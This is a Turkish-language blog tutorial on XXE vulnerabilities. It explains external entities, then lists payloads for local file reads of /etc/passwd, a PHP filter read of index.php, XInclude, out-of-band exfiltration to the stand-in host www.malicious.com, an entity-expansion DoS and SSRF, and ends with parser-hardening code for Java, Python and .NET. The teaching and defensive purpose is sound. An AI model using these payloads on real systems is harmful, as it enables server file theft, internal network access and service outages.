XXE

 

XXE Nedir

XXE, uygulamanın kullanıcıdan aldığı XML verisini güvenli olmayan bir parser ile işlemesi sonucunda ortaya çıkan bir zafiyettir. Saldırgan <!DOCTYPE> ve <!ENTITY> tanımları aracılığıyla dış kaynaklara erişebilir, sunucu üzerindeki dosyaları okuyabilir, iç ağa istek gönderebilir ya da parser’ı kötüye kullanarak DoS saldırıları gerçekleştirebilir.

External Entity Nedir

XML işleminde, External Entity bir XML elementidir ve harici bir kaynağa (örneğin bir dosya veya URL) referans verebilir. Eğer güvenli şekilde işlenmezse, XXE açığı oluşur. Bu da saldırganların bu entity’leri kullanarak harici dosyalara erişmesine veya kötü amaçlı sunucu taraflı işlemler gerçekleştirmesine olanak tanır.

XXE Payload ile External Entity Referansı Örneği

Bir XML payload içerisine XXE eklenerek external entity’ye referans verilebilir.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
    <productId>&xxe;</productId>
</stockCheck>

Bu örnekte &xxe;, sunucunun /etc/passwd dosyasına referans verir ve parser yanlış yapılandırıldıysa dosyanın içeriği yanıt olarak döner. Bu saldırılara karşı korunmak için, bu parser’ları güvenli şekilde kullanabilmek adına XXE (External Entities) özelliğini açıkça devre dışı bırakmamız gerekir.

XXE Zafiyetini Sömürmek

File Read

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

PHP wrapped:

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<name>Jean &xxe; Dupont</name>

Xinclude:

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Out Of Band:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>

DoS

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

SSRF

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>

XXE Saldırısnı Önlemek

XML Parser Konfigürasyonu

Kullandığınız dili ve XML kütüphanesini hedef alarak, external entity çözme özelliğini kapatmanız gerekir.

Java (JAXP / SAX / DOM):

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

Python (lxml):

from lxml import etree

parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.fromstring(xml_data, parser=parser)

.NET (C#)

var settings = new XmlReaderSettings
{
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
var reader = XmlReader.Create(stream, settings);

Referanslar:

Yorumlar

Bu blogdaki popüler yayınlar

VirtualBox ile Kali Linux kurmak ve Root Olmak

CORS